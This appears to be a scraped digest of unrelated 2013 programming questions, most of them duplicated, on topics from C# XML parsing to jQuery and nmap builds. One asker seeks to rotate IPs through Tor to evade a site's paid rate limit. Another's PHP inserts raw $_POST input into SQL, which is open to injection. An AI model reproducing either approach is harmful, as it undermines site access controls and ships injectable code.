Converting html to word doc with all the formatting
I have to read following html from this XML file in C#.
<?xml version="1.0" encoding="utf-8"?>
<?mso-infoPathSolution
name="urn:schemas-microsoft-com:office:infopath:TestCRForm:-myXSD-2013-01-09T15-23-27"
solutionVersion="1.0.0.285" productVersion="14.0.0.0" PIVersion="1.0.0.0"
href="http://win-rskupn6mf2b:2331/TestCRForm/Forms/template.xsn"?>
<?mso-application progid="InfoPath.Document"
versionProgid="InfoPath.Document.3"?>
<my:myFields xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:pc="http://schemas.microsoft.com/office/infopath/2007/PartnerControls"
xmlns:ma="http://schemas.microsoft.com/office/2009/metadata/properties/metaAttributes"
xmlns:d="http://schemas.microsoft.com/office/infopath/2009/WSSList/dataFields"
xmlns:q="http://schemas.microsoft.com/office/infopath/2009/WSSList/queryFields"
xmlns:dfs="http://schemas.microsoft.com/office/infopath/2003/dataFormSolution"
xmlns:dms="http://schemas.microsoft.com/office/2009/documentManagement/types"
xmlns:xhtml="http://www.w3.org/1999/xhtml"
xmlns:tns="http://microsoft.com/webservices/SharePointPortalServer/UserProfileService"
xmlns:s1="http://microsoft.com/wsdl/types/"
xmlns:http="http://schemas.xmlsoap.org/wsdl/http/"
xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:mime="http://schemas.xmlsoap.org/wsdl/mime/"
xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/"
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
xmlns:my="http://schemas.microsoft.com/office/infopath/2003/myXSD/2013-01-09T15:23:27"
xmlns:xd="http://schemas.microsoft.com/office/infopath/2003"
xml:lang="en-US">
<my:VendorName>Vendor Name1</my:VendorName>
<my:Assignedto>Asigner</my:Assignedto>
<my:SOWNumber></my:SOWNumber>
<my:DraftStarted xsi:nil="true"></my:DraftStarted>
<my:DateComplete xsi:nil="true"></my:DateComplete>
<my:GLCode>Material No1</my:GLCode>
<my:LogID>2013-09-05T22:44:09</my:LogID>
<my:Status>New</my:Status>
<my:ProjectDescription>
<html xmlns="http://www.w3.org/1999/xhtml"
xml:space="preserve"><div><em>This is Project Deliverable
Info</em></div><div><span id="ms-rterangepaste-start"></span><span
id="ms-rterangepaste-end"></span><div><em>Whjoa</em></div><div><strong><em>Dude</em></strong></div></div></html>
</my:ProjectDescription>
</my:myFields>
After reading the html under "my:ProjectDescription" tag I have to put it
into a word document with all the formatting retained.
This html is fetched by following :
XmlNodeList nodelist3 =
xml.SelectNodes("my:myFields/my:ProjectDeliverables", nsm);
foreach (XmlNode node in nodelist3)
tc.key_deliverables = node.InnerXml;
tc.key_deliverables then contains the html as string.
Please suggest me how to proceed with this.
Thursday, 3 October 2013
Wednesday, 2 October 2013
IE10 caches page
IE10 caches page
I have a website that shows a preview of an image when the user add some
caption to it.
The flow is:
User see the /new page
It submits the caption (create), User is redirected to the /edit page (to
see the preview)
If there are changes it submits again (update), User is redirected to the
/edit page
When he is satisfied, he closes the page.
Everything works fine except in IE10, it creates the image with the
caption on the server, but it shows the old image when he is redirected to
/edit, even the inputs show the old text, after a F5 it shows the data
from the server.
So, I think it is caching the page. Chrome, Safari and Firefox work fine.
I'm working on Ruby on Rails.
Anyone knows a workfix?
I have a website that shows a preview of an image when the user add some
caption to it.
The flow is:
User see the /new page
It submits the caption (create), User is redirected to the /edit page (to
see the preview)
If there are changes it submits again (update), User is redirected to the
/edit page
When he is satisfied, he closes the page.
Everything works fine except in IE10, it creates the image with the
caption on the server, but it shows the old image when he is redirected to
/edit, even the inputs show the old text, after a F5 it shows the data
from the server.
So, I think it is caching the page. Chrome, Safari and Firefox work fine.
I'm working on Ruby on Rails.
Anyone knows a workfix?
Count matching accross two tables
Count matching accross two tables
I have two tables. The 'submissions' table holds details about the submission
The 'judging' table holds other details.
The judging table has a 'rel_id' field which links the two tables
together. (Holds the row ID number from the submissions table that it has
a relationship with).
In the judging table there are multiple rows with the same rel_id.
I want to count how many single rows there are in the judging table that
meets the criteria below, and only 1 of each rel_id.
This is as far as I have managed to get, but I can't get it working.
SELECT COUNT(*) AS count_result
FROM exp_judging AS jud
LEFT JOIN exp_submissions AS sub ON jud.rel_id = sub.id
WHERE jud.pre = 1
AND sub.member_group = $member_group
GROUP BY jud.rel_id
Any help would be great.
I have two tables. The 'submissions' table holds details about the submission
The 'judging' table holds other details.
The judging table has a 'rel_id' field which links the two tables
together. (Holds the row ID number from the submissions table that it has
a relationship with).
In the judging table there are multiple rows with the same rel_id.
I want to count how many single rows there are in the judging table that
meets the criteria below, and only 1 of each rel_id.
This is as far as I have managed to get, but I can't get it working.
SELECT COUNT(*) AS count_result
FROM exp_judging AS jud
LEFT JOIN exp_submissions AS sub ON jud.rel_id = sub.id
WHERE jud.pre = 1
AND sub.member_group = $member_group
GROUP BY jud.rel_id
Any help would be great.
How to change/mask ip address with Eclipse
How to change/mask ip address with Eclipse
this is a bit tricky as question, what I'm trying to do is basically
change my IP address inside my Eclipse application.
The reason is because I'm grabbing some content from web pages
automatically using jsoup and parsing links like a crawler, but some
website I crawl just block me after 3 request saying "you requested too
much specific pages for today, pay for more or wait 24h", so I change my
identity using TOR and I can grab (manually) 3 more pages.
I'm searching for something that will help me to grab those datas
automatically from a Java application. Now I'm using jsoup library but I
can use everything that let me just change my ip, for example using a
proxy or using VIDALIA/TOR api to get every 3 request a new identity as
application.
Do anyone have advices about this task? It's not very common but I think
it can help a lot of people.
PS: That's an idea, I think that IPV6 addresses are filtered as IPV4, so
as I can easly switch and request IPV6 addresses, probably I can solve
using IPV6, but I still don't know some library or some software that let
me use a proxy and change IP when I want inside my Java App.
Thanks a lot!
this is a bit tricky as question, what I'm trying to do is basically
change my IP address inside my Eclipse application.
The reason is because I'm grabbing some content from web pages
automatically using jsoup and parsing links like a crawler, but some
website I crawl just block me after 3 request saying "you requested too
much specific pages for today, pay for more or wait 24h", so I change my
identity using TOR and I can grab (manually) 3 more pages.
I'm searching for something that will help me to grab those datas
automatically from a Java application. Now I'm using jsoup library but I
can use everything that let me just change my ip, for example using a
proxy or using VIDALIA/TOR api to get every 3 request a new identity as
application.
Do anyone have advices about this task? It's not very common but I think
it can help a lot of people.
PS: That's an idea, I think that IPV6 addresses are filtered as IPV4, so
as I can easly switch and request IPV6 addresses, probably I can solve
using IPV6, but I still don't know some library or some software that let
me use a proxy and change IP when I want inside my Java App.
Thanks a lot!
Tuesday, 1 October 2013
Jquery Show and Hide Functions
Jquery Show and Hide Functions
I am trying to get this to work where when they select the search between
dates it will show the second date search field.
I know that the jquery is pulling in that value for the select menu bc I
can put an alert for it and when I click on the search between dates it
throws the alert at me, my only problem is getting it to show that hidden
input.
HTML:
<select name='filter' class='input-large' id="select_field">
<option value=''>Select One</option>
<option value='dateonly'>Search by Date Only</option>
<option value='search_between_dates'>Search Between Dates</option>
</select>
<input type='text' placeholder="Date">
<input type="text" placeholder="Date 2" id="date2_hiddden" class="hidden">
Javascript:
function getSelect() {
var selectValue = $("#select_field").val();
if(selectValue === 'search_between_dates') {
$("#date2_hidden").show(function() {
$("#date2_hidden");
})
} else {
$("#date2_hidden").hide();
}
}
$("#select_field").change(getSelect);
getSelect();
Neither of these work and putting the id instead of class for the second
still doesn't work.
function getSelect() {
var selectValue = $("#select_field").val();
if(selectValue === 'search_between_dates') {
$(".hidden").show();
} else {
$("#date2_hidden").hide();
}
}
$("#select_field").change(getSelect);
getSelect();
I am trying to get this to work where when they select the search between
dates it will show the second date search field.
I know that the jquery is pulling in that value for the select menu bc I
can put an alert for it and when I click on the search between dates it
throws the alert at me, my only problem is getting it to show that hidden
input.
HTML:
<select name='filter' class='input-large' id="select_field">
<option value=''>Select One</option>
<option value='dateonly'>Search by Date Only</option>
<option value='search_between_dates'>Search Between Dates</option>
</select>
<input type='text' placeholder="Date">
<input type="text" placeholder="Date 2" id="date2_hiddden" class="hidden">
Javascript:
function getSelect() {
var selectValue = $("#select_field").val();
if(selectValue === 'search_between_dates') {
$("#date2_hidden").show(function() {
$("#date2_hidden");
})
} else {
$("#date2_hidden").hide();
}
}
$("#select_field").change(getSelect);
getSelect();
Neither of these work and putting the id instead of class for the second
still doesn't work.
function getSelect() {
var selectValue = $("#select_field").val();
if(selectValue === 'search_between_dates') {
$(".hidden").show();
} else {
$("#date2_hidden").hide();
}
}
$("#select_field").change(getSelect);
getSelect();
Get hyper link from a SharePoint list column
Get hyper link from a SharePoint list column
I want to get the hyperlinks from a column of a SharePoint 2010 List.
Right now the code gives me the hyperlink and the description concatenated
together. `
$(xData.responseXML).SPFilterNode("z:row").each(function () {
content = new Object(); //get new object
content.title = $(this).attr("ows_Title");
content.url= $(this).attr("ows_Url");`
The content.url gives me "http://www.example. ca,%20http://www.example.
ca". I have tried split and then the URL doesn't work.
Any help will be greatly appreciated.
Thanks
I want to get the hyperlinks from a column of a SharePoint 2010 List.
Right now the code gives me the hyperlink and the description concatenated
together. `
$(xData.responseXML).SPFilterNode("z:row").each(function () {
content = new Object(); //get new object
content.title = $(this).attr("ows_Title");
content.url= $(this).attr("ows_Url");`
The content.url gives me "http://www.example. ca,%20http://www.example.
ca". I have tried split and then the URL doesn't work.
Any help will be greatly appreciated.
Thanks
Why do I need to press and hold the keys on my keyboard for a second for it to work?
Why do I need to press and hold the keys on my keyboard for a second for
it to work?
This is one of the wackiest and weirdest problems I have ever encountered.
My keyboard was working absolutely fine till yesterday on Ubuntu 13.04.
However, when I boot to Ubuntu today, I suddenly find that all the keys
work, but I have to press and keep on holding them for about a second for
them to work.
This behavior is true for all the keys except for Num Lock, Caps Lock and
Scroll Lock keys, the indicator for them on my keyboard lights up as soon
as I press those keys.
I have not done any key-remappings and using the standard English (US)
keyboard layout. I have fiddled around with the settings for Keyboard in
System Settings, but to no avail.
I have Windows 7 as dual-boot and the keyboard works perfectly well on it.
Why am I facing such a behavior and how to normalize this?
PS - Using Logitech Classic Keyboard K100 (USB Model).
it to work?
This is one of the wackiest and weirdest problems I have ever encountered.
My keyboard was working absolutely fine till yesterday on Ubuntu 13.04.
However, when I boot to Ubuntu today, I suddenly find that all the keys
work, but I have to press and keep on holding them for about a second for
them to work.
This behavior is true for all the keys except for Num Lock, Caps Lock and
Scroll Lock keys, the indicator for them on my keyboard lights up as soon
as I press those keys.
I have not done any key-remappings and using the standard English (US)
keyboard layout. I have fiddled around with the settings for Keyboard in
System Settings, but to no avail.
I have Windows 7 as dual-boot and the keyboard works perfectly well on it.
Why am I facing such a behavior and how to normalize this?
PS - Using Logitech Classic Keyboard K100 (USB Model).
3G Mobile Internet setup on Raspberry Pi
3G Mobile Internet setup on Raspberry Pi
So I've been struggling to setup my 3G dongle on my raspberry pi (running
Raspbian).
I've installed network-manager and network-manager-gnome since that seems
to be the common solution, but when running the Mobile Broadband wizard to
setup a new device, my stick isn't listed. It just says "Any Device" and
it's grayed out.
I've already installed usb-modeswitch as well and my device is listed
(using lsusb) as:
Bus 001 Device 004: ID 12d1:1446 Huawei Technologies Co., Ltd.
E1552/E1800/E173 (HSPA Modem)
What can I try?
So I've been struggling to setup my 3G dongle on my raspberry pi (running
Raspbian).
I've installed network-manager and network-manager-gnome since that seems
to be the common solution, but when running the Mobile Broadband wizard to
setup a new device, my stick isn't listed. It just says "Any Device" and
it's grayed out.
I've already installed usb-modeswitch as well and my device is listed
(using lsusb) as:
Bus 001 Device 004: ID 12d1:1446 Huawei Technologies Co., Ltd.
E1552/E1800/E173 (HSPA Modem)
What can I try?
Monday, 30 September 2013
Unable to shut down: failed to execute child process "lubuntu-logout" (no such file or directory)
Unable to shut down: failed to execute child process "lubuntu-logout" (no
such file or directory)
I am unable to shut down after i uninstalled many programs in lubuntu
using software center. The error message that I get is:
Failed to execute child process "lubuntu-logout" (no such file or
directory).
such file or directory)
I am unable to shut down after i uninstalled many programs in lubuntu
using software center. The error message that I get is:
Failed to execute child process "lubuntu-logout" (no such file or
directory).
properties of measure zero sets math.stackexchange.com
properties of measure zero sets – math.stackexchange.com
Let $X \subset R$ be a Lebesgue measure zero set. Prove that there exists
a $p \in R$ such that the set $p + X = \left\{p + x | x \in X\right\}$ has
no rational points. Here is my approach : Let …
Let $X \subset R$ be a Lebesgue measure zero set. Prove that there exists
a $p \in R$ such that the set $p + X = \left\{p + x | x \in X\right\}$ has
no rational points. Here is my approach : Let …
Looks like logs are crashing my Django app
Looks like logs are crashing my Django app
I have a Django app running on heroku. The app keeps crashing with the
following stacktrace:
Traceback (most recent call last):
File "/app/.heroku/python/bin/honcho", line 9, in <module>
load_entry_point('honcho==0.4.2', 'console_scripts', 'honcho')()
File "/app/.heroku/python/lib/python2.7/site-packages/honcho/command.py",
line 292, in main
app.parse()
File "/app/.heroku/python/lib/python2.7/site-packages/honcho/command.py",
line 129, in parse
options.func(self, options)
File "/app/.heroku/python/lib/python2.7/site-packages/honcho/command.py",
line 190, in start
sys.exit(process_manager.loop())
File "/app/.heroku/python/lib/python2.7/site-packages/honcho/process.py",
line 114, in loop
File "/app/.heroku/python/lib/python2.7/site-packages/honcho/printer.py",
line 22, in write
Process exited with status 1
From Honcho's printer.py source code it looks like someting is going wrong
while honcho is trying to write to the console.
My app is pulling data from web pages so I may print some text with
accented characters. Is that related ?
Currently i'm printing things like this:
logger.info('Saved article' + str(title) + '.')
I may also dump some json from time to time:
logger.debug('Article: %s' % json.dumps(article_datas, indent=4))
It is working fine on my development machine but not on Heroku. Do I need
to log things differently ? Why is this not working on Heroku ?
I have a Django app running on heroku. The app keeps crashing with the
following stacktrace:
Traceback (most recent call last):
File "/app/.heroku/python/bin/honcho", line 9, in <module>
load_entry_point('honcho==0.4.2', 'console_scripts', 'honcho')()
File "/app/.heroku/python/lib/python2.7/site-packages/honcho/command.py",
line 292, in main
app.parse()
File "/app/.heroku/python/lib/python2.7/site-packages/honcho/command.py",
line 129, in parse
options.func(self, options)
File "/app/.heroku/python/lib/python2.7/site-packages/honcho/command.py",
line 190, in start
sys.exit(process_manager.loop())
File "/app/.heroku/python/lib/python2.7/site-packages/honcho/process.py",
line 114, in loop
File "/app/.heroku/python/lib/python2.7/site-packages/honcho/printer.py",
line 22, in write
Process exited with status 1
From Honcho's printer.py source code it looks like someting is going wrong
while honcho is trying to write to the console.
My app is pulling data from web pages so I may print some text with
accented characters. Is that related ?
Currently i'm printing things like this:
logger.info('Saved article' + str(title) + '.')
I may also dump some json from time to time:
logger.debug('Article: %s' % json.dumps(article_datas, indent=4))
It is working fine on my development machine but not on Heroku. Do I need
to log things differently ? Why is this not working on Heroku ?
how do i set validation on select tag in my form
how do i set validation on select tag in my form
i want to set validation on select tag in my form so that the user cannot
proceed without choosing a location.
below is the form...
<form name="form1">
Pickup Suburb:
<select id="pick" class="pick" name="pick"/><br />
<option value="none">-- Please select a location --</option>
<option value = 1>City </option>
<option value = 2>Airport </option>
<option value = 3>Abbotsbury </option>
<option value = 4>Abbotsford </option>
<option value = 5>Acacia Gardens </option>
<option value = 6>Agnes Banks </option>
<option value = 7>Airds </option>
<option value = 8>Akuna Bay </option>
</select>
<br />Rear facing baby seat <select class="rfbs" name="rfbs"
style="width:50px">
<option value="0">0</option>
<option value="1">1</option>
<option value="2">2</option>
</select><br />
<br />Booster seat <select class="bs" name="bs" style="width:50px">
<option value="0">0</option>
<option value="1">1</option>
<option value="2">2</option>
</select>
<br /><br />Luggage Trailer <select class="lt" name="lt" style="width:50px">
<option value="0">0</option>
<option value="1">1</option>
</select>
<br />
<br /><input class="show-popup" type="submit" value="Get Quote">
</form>
i have applied a javascript popup window to show the results when user
fills the form so is it possilbe to apply validation that shows a
error,message if the user tries to submit the form without choosing a
location.
any help would be highly appreciated.
Thakns.
i want to set validation on select tag in my form so that the user cannot
proceed without choosing a location.
below is the form...
<form name="form1">
Pickup Suburb:
<select id="pick" class="pick" name="pick"/><br />
<option value="none">-- Please select a location --</option>
<option value = 1>City </option>
<option value = 2>Airport </option>
<option value = 3>Abbotsbury </option>
<option value = 4>Abbotsford </option>
<option value = 5>Acacia Gardens </option>
<option value = 6>Agnes Banks </option>
<option value = 7>Airds </option>
<option value = 8>Akuna Bay </option>
</select>
<br />Rear facing baby seat <select class="rfbs" name="rfbs"
style="width:50px">
<option value="0">0</option>
<option value="1">1</option>
<option value="2">2</option>
</select><br />
<br />Booster seat <select class="bs" name="bs" style="width:50px">
<option value="0">0</option>
<option value="1">1</option>
<option value="2">2</option>
</select>
<br /><br />Luggage Trailer <select class="lt" name="lt" style="width:50px">
<option value="0">0</option>
<option value="1">1</option>
</select>
<br />
<br /><input class="show-popup" type="submit" value="Get Quote">
</form>
i have applied a javascript popup window to show the results when user
fills the form so is it possilbe to apply validation that shows a
error,message if the user tries to submit the form without choosing a
location.
any help would be highly appreciated.
Thakns.
Sunday, 29 September 2013
PHP Function to grab the Featured Image (Wordpress) and Integrate in Pinterest Button
PHP Function to grab the Featured Image (Wordpress) and Integrate in
Pinterest Button
I have this code inserted in the Function.PHP file of my wordpress this.
What it basically do is
If the user click on the Pinterest PIN IT Button, It checks the blog post
page for the FIRST Image and return it to be Pinned in Pinterest.
Is it possible if someone can modify the code so that it will totally
ignore all the images in the blog post page and instead choose the
Featured Image?
Catch the First image funtion:
function catch_that_image() {
global $post, $posts;
$first_img = '';
ob_start();
ob_end_clean();
$output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i',
$post->post_content, $matches);
$first_img = $matches [1] [0];
if(empty($first_img)){ //Defines a default image
$first_img =
"http://www.bendaggers.com/wp-content/themes/Lord%20of%20Avernus%20-%20Abaddon/Images/Deafult_Img.png";
}
return $first_img;
}
Wordpress Featured Image:
<?php the_post_thumbnail(); ?>
Pinterest Button
I have this code inserted in the Function.PHP file of my wordpress this.
What it basically do is
If the user click on the Pinterest PIN IT Button, It checks the blog post
page for the FIRST Image and return it to be Pinned in Pinterest.
Is it possible if someone can modify the code so that it will totally
ignore all the images in the blog post page and instead choose the
Featured Image?
Catch the First image funtion:
function catch_that_image() {
global $post, $posts;
$first_img = '';
ob_start();
ob_end_clean();
$output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i',
$post->post_content, $matches);
$first_img = $matches [1] [0];
if(empty($first_img)){ //Defines a default image
$first_img =
"http://www.bendaggers.com/wp-content/themes/Lord%20of%20Avernus%20-%20Abaddon/Images/Deafult_Img.png";
}
return $first_img;
}
Wordpress Featured Image:
<?php the_post_thumbnail(); ?>
Use WHERE in an INSERT INTO statement
Use WHERE in an INSERT INTO statement
I'm trying to let users insert a subject to an image. I know I can't use a
WHERE clause in combination with an INSERT INTO statement, and I know that
I should use SELECT. I am very new to mysql and I didn't understand the
results I tried to search on google. So I needed a more specific answer;)
$classed = mysql_query("INSERT INTO images (subject) VALUES
('$_POST[subject]') WHERE image_id='$_POST[id]'");
I'm trying to let users insert a subject to an image. I know I can't use a
WHERE clause in combination with an INSERT INTO statement, and I know that
I should use SELECT. I am very new to mysql and I didn't understand the
results I tried to search on google. So I needed a more specific answer;)
$classed = mysql_query("INSERT INTO images (subject) VALUES
('$_POST[subject]') WHERE image_id='$_POST[id]'");
What do the as command do in Python 3.x?
What do the as command do in Python 3.x?
I've seen it many times but i never understood what do the as command do
in Python 3.x. Can you explain it in simple english?
I've seen it many times but i never understood what do the as command do
in Python 3.x. Can you explain it in simple english?
Saturday, 28 September 2013
Specify styling (font, in particular) for a certain cell in Prawn
Specify styling (font, in particular) for a certain cell in Prawn
I want to specify a font style for a certain cell. What I found in the
documentation is the capacity to do it for all the cell, but not for one I
need:
table data, :cell_style => { :font => "Times-Roman", :font_style => :italic }
How do I do that for only one cell?
I want to specify a font style for a certain cell. What I found in the
documentation is the capacity to do it for all the cell, but not for one I
need:
table data, :cell_style => { :font => "Times-Roman", :font_style => :italic }
How do I do that for only one cell?
How to connect Java Form(jframe) to a website ,to exchange information
How to connect Java Form(jframe) to a website ,to exchange information
i am trying to create an app using jframe ., HERE'S WHAT I KNOW
-->Connecting a website Using JSOUP -->Retrieving Data by id and class
using JSOUP
HERE'S WHAT I WANNA KNOW -->Setting the value of a textfield on a website
from my jframe textfield -->Clicking a button the website using my jframe
THE ABOVE CODE IS IN JAVA AND I HAVE USED JSOUP AS A LIB TO HELP ME GET
EASY HTML CODE EMBEDDING
i am trying to create an app using jframe ., HERE'S WHAT I KNOW
-->Connecting a website Using JSOUP -->Retrieving Data by id and class
using JSOUP
HERE'S WHAT I WANNA KNOW -->Setting the value of a textfield on a website
from my jframe textfield -->Clicking a button the website using my jframe
THE ABOVE CODE IS IN JAVA AND I HAVE USED JSOUP AS A LIB TO HELP ME GET
EASY HTML CODE EMBEDDING
Are prototypes in node.js different
Are prototypes in node.js different
I have found some differences between prototypes in node.js and the
browser, i have this sample here.
function test() {
this.hello = 'world';
console.log(this);
}
test.prototype.hello = function() {
console.log('something');
}
new test();
Browser output:
test { hello: "world", hello: function }
Node.js output:
{ hello: 'world' }
Now, this is annoying because I wan't to loop through this and wrap
something with the functions, but in node the functions do not show up in
the loop but you can still call them.
Why does this happen, what are the differences between prototypes in node
& the browser?
JSFiddle: http://jsfiddle.net/Q3rQd/1/
I have found some differences between prototypes in node.js and the
browser, i have this sample here.
function test() {
this.hello = 'world';
console.log(this);
}
test.prototype.hello = function() {
console.log('something');
}
new test();
Browser output:
test { hello: "world", hello: function }
Node.js output:
{ hello: 'world' }
Now, this is annoying because I wan't to loop through this and wrap
something with the functions, but in node the functions do not show up in
the loop but you can still call them.
Why does this happen, what are the differences between prototypes in node
& the browser?
JSFiddle: http://jsfiddle.net/Q3rQd/1/
how to use the function SHA256 in C language
how to use the function SHA256 in C language
I saw in the openssl library that SHA function and its variants take a
character string as input, the size and the pointer will output the
string, I would rather have a function that takes any file as input, have
you an idea?
I saw in the openssl library that SHA function and its variants take a
character string as input, the size and the pointer will output the
string, I would rather have a function that takes any file as input, have
you an idea?
Friday, 27 September 2013
Warnings and errors encountered when installing nmap on Mac lion
Warnings and errors encountered when installing nmap on Mac lion
I was installing nmap from source when i hit this
checking sys/bufmod.h usability... no
checking sys/bufmod.h presence... no
checking for sys/bufmod.h... no
checking sys/dlpi.h usability... no
checking sys/dlpi.h presence... no
checking for sys/dlpi.h... no
checking sys/dlpihdr.h usability... no
checking sys/dlpihdr.h presence... no
checking for sys/dlpihdr.h... no
checking sys/dlpi_ext.h usability... no
checking sys/dlpi_ext.h presence... no
checking for sys/dlpi_ext.h... no
checking sys/ioctl.h usability... yes
checking sys/ioctl.h presence... yes
checking for sys/ioctl.h... yes
checking sys/mib.h usability... no
checking sys/mib.h presence... no
checking for sys/mib.h... no
checking sys/ndd_var.h usability... no
checking sys/ndd_var.h presence... no
checking for sys/ndd_var.h... no
checking net/pfilt.h usability... no
checking net/pfilt.h presence... no
checking for net/pfilt.h... no
checking net/pfvar.h usability... no
checking net/pfvar.h presence... no
checking for net/pfvar.h... no
checking net/radix.h usability... no
checking net/radix.h presence... no
checking for net/radix.h... no
checking net/raw.h usability... no
checking net/raw.h presence... no
checking for net/raw.h... no
There are more files with these ... no ... no, etc Where can i find these
files? I am running Mac Lion 10.7 with Xcode command line tools installed.
Interestingly I found this
checking net/if.h usability... no
checking net/if.h presence... yes
configure: WARNING: net/if.h: present but cannot be compiled
configure: WARNING: net/if.h: check for missing prerequisite headers?
configure: WARNING: net/if.h: see the Autoconf documentation
configure: WARNING: net/if.h: section "Present But Cannot Be Compiled"
configure: WARNING: net/if.h: proceeding with the preprocessor's result
configure: WARNING: net/if.h: in the future, the compiler will take
precedence
checking for net/if.h... yes
checking netinet/ip_fw.h usability... no
checking netinet/ip_fw.h presence... yes
configure: WARNING: netinet/ip_fw.h: present but cannot be compiled
configure: WARNING: netinet/ip_fw.h: check for missing prerequisite
headers?
configure: WARNING: netinet/ip_fw.h: see the Autoconf documentation
configure: WARNING: netinet/ip_fw.h: section "Present But Cannot Be
Compiled"
configure: WARNING: netinet/ip_fw.h: proceeding with the preprocessor's
result
configure: WARNING: netinet/ip_fw.h: in the future, the compiler will take
precedence
checking for netinet/ip_fw.h... yes
How could this come about? net/if.h is present but cannot be compiled. How
can i make it so?
Hope to hear from the gurus out there!
I was installing nmap from source when i hit this
checking sys/bufmod.h usability... no
checking sys/bufmod.h presence... no
checking for sys/bufmod.h... no
checking sys/dlpi.h usability... no
checking sys/dlpi.h presence... no
checking for sys/dlpi.h... no
checking sys/dlpihdr.h usability... no
checking sys/dlpihdr.h presence... no
checking for sys/dlpihdr.h... no
checking sys/dlpi_ext.h usability... no
checking sys/dlpi_ext.h presence... no
checking for sys/dlpi_ext.h... no
checking sys/ioctl.h usability... yes
checking sys/ioctl.h presence... yes
checking for sys/ioctl.h... yes
checking sys/mib.h usability... no
checking sys/mib.h presence... no
checking for sys/mib.h... no
checking sys/ndd_var.h usability... no
checking sys/ndd_var.h presence... no
checking for sys/ndd_var.h... no
checking net/pfilt.h usability... no
checking net/pfilt.h presence... no
checking for net/pfilt.h... no
checking net/pfvar.h usability... no
checking net/pfvar.h presence... no
checking for net/pfvar.h... no
checking net/radix.h usability... no
checking net/radix.h presence... no
checking for net/radix.h... no
checking net/raw.h usability... no
checking net/raw.h presence... no
checking for net/raw.h... no
There are more files with these ... no ... no, etc Where can i find these
files? I am running Mac Lion 10.7 with Xcode command line tools installed.
Interestingly I found this
checking net/if.h usability... no
checking net/if.h presence... yes
configure: WARNING: net/if.h: present but cannot be compiled
configure: WARNING: net/if.h: check for missing prerequisite headers?
configure: WARNING: net/if.h: see the Autoconf documentation
configure: WARNING: net/if.h: section "Present But Cannot Be Compiled"
configure: WARNING: net/if.h: proceeding with the preprocessor's result
configure: WARNING: net/if.h: in the future, the compiler will take
precedence
checking for net/if.h... yes
checking netinet/ip_fw.h usability... no
checking netinet/ip_fw.h presence... yes
configure: WARNING: netinet/ip_fw.h: present but cannot be compiled
configure: WARNING: netinet/ip_fw.h: check for missing prerequisite
headers?
configure: WARNING: netinet/ip_fw.h: see the Autoconf documentation
configure: WARNING: netinet/ip_fw.h: section "Present But Cannot Be
Compiled"
configure: WARNING: netinet/ip_fw.h: proceeding with the preprocessor's
result
configure: WARNING: netinet/ip_fw.h: in the future, the compiler will take
precedence
checking for netinet/ip_fw.h... yes
How could this come about? net/if.h is present but cannot be compiled. How
can i make it so?
Hope to hear from the gurus out there!
embedding phython script in php website
embedding phython script in php website
I am developing a php based web app but I have a phython script that I
already had that I want to integrate into my system. Is it possible to
embed/include the phython script within the main content area of my web
app on a specific page?
I am developing a php based web app but I have a phython script that I
already had that I want to integrate into my system. Is it possible to
embed/include the phython script within the main content area of my web
app on a specific page?
java performance on large file uploads
java performance on large file uploads
I need to 'proxy' many simultaneous ( 600 + connections ) large file
uploads ( 300 MB + ) from browser to Youtube. So far I've tried Java on
Beanstalk and the results are not very good. At 500 connections Beanstalk
starts about 97 instances which is quite expensive. Am I using the wrong
tool for this job ? The task is fairly simple (proxy-> upload). Is there
anything that I can do to optimize the performance ?
I think an issue is that the file is loaded in memory before providing the
file items (and streams).I basically just want to proxy the request body
from the one to other side transparently without altering it or storing it
in memory in any way.
I need to 'proxy' many simultaneous ( 600 + connections ) large file
uploads ( 300 MB + ) from browser to Youtube. So far I've tried Java on
Beanstalk and the results are not very good. At 500 connections Beanstalk
starts about 97 instances which is quite expensive. Am I using the wrong
tool for this job ? The task is fairly simple (proxy-> upload). Is there
anything that I can do to optimize the performance ?
I think an issue is that the file is loaded in memory before providing the
file items (and streams).I basically just want to proxy the request body
from the one to other side transparently without altering it or storing it
in memory in any way.
Why 8051 don't have R0 to R32
Why 8051 don't have R0 to R32
In 8051 memory bank (00h to 1Fh), 8051 provide 32 registers as 8
registers(R0 t0 R7) to each of 4 banks. Why these registers are not given
as R0 to R31?
Thanks in Advance..
In 8051 memory bank (00h to 1Fh), 8051 provide 32 registers as 8
registers(R0 t0 R7) to each of 4 banks. Why these registers are not given
as R0 to R31?
Thanks in Advance..
How to pass "unnecessary" pointers to a function?
How to pass "unnecessary" pointers to a function?
This function is given to me by an API:
void GetTime(uint8_t*, uint8_t*, uint8_t*, uint8_t*, uint8_t*, uint8_t* );
GetTime returns the time by writing to those pointers. Problem is, I only
need the value written to one of those pointers. If I could control
GetTime I'd either check if the pointers were null or return a struct
instead, but I can't.
This is my current solution, ignoring the dummy* pointers:
uint8_t* seconds, dummy0, dummy1, dummy3, dummy4, dummy5;
GetTime( dummy0, dummy1, dummy3, dummy4, dummy5, seconds );
Is there a neater way to solve this problem with less clutter?
This function is given to me by an API:
void GetTime(uint8_t*, uint8_t*, uint8_t*, uint8_t*, uint8_t*, uint8_t* );
GetTime returns the time by writing to those pointers. Problem is, I only
need the value written to one of those pointers. If I could control
GetTime I'd either check if the pointers were null or return a struct
instead, but I can't.
This is my current solution, ignoring the dummy* pointers:
uint8_t* seconds, dummy0, dummy1, dummy3, dummy4, dummy5;
GetTime( dummy0, dummy1, dummy3, dummy4, dummy5, seconds );
Is there a neater way to solve this problem with less clutter?
Thursday, 26 September 2013
js with erb produces syntax error, unexpected ';'
js with erb produces syntax error, unexpected ';'
I had JS file that was included in the Rails 4 app. Then I added Ruby
logic to the JS file and renamed it to ERB. In my html.erb template I have
something like this:
<% content_for :head do %>
<%= javascript_include_tag :top_cash_rate_widget %>
<% end -%>
Which results in syntax error, unexpected ';' However whenever I remove
.erb extension from .js file it works as fine as it was.
Please note, that I also commented out all Ruby code inside of the .js.erb
file.
I know it's not the best practice to use Ruby code inside of JS, but for
speed purposes I did it :)
I had JS file that was included in the Rails 4 app. Then I added Ruby
logic to the JS file and renamed it to ERB. In my html.erb template I have
something like this:
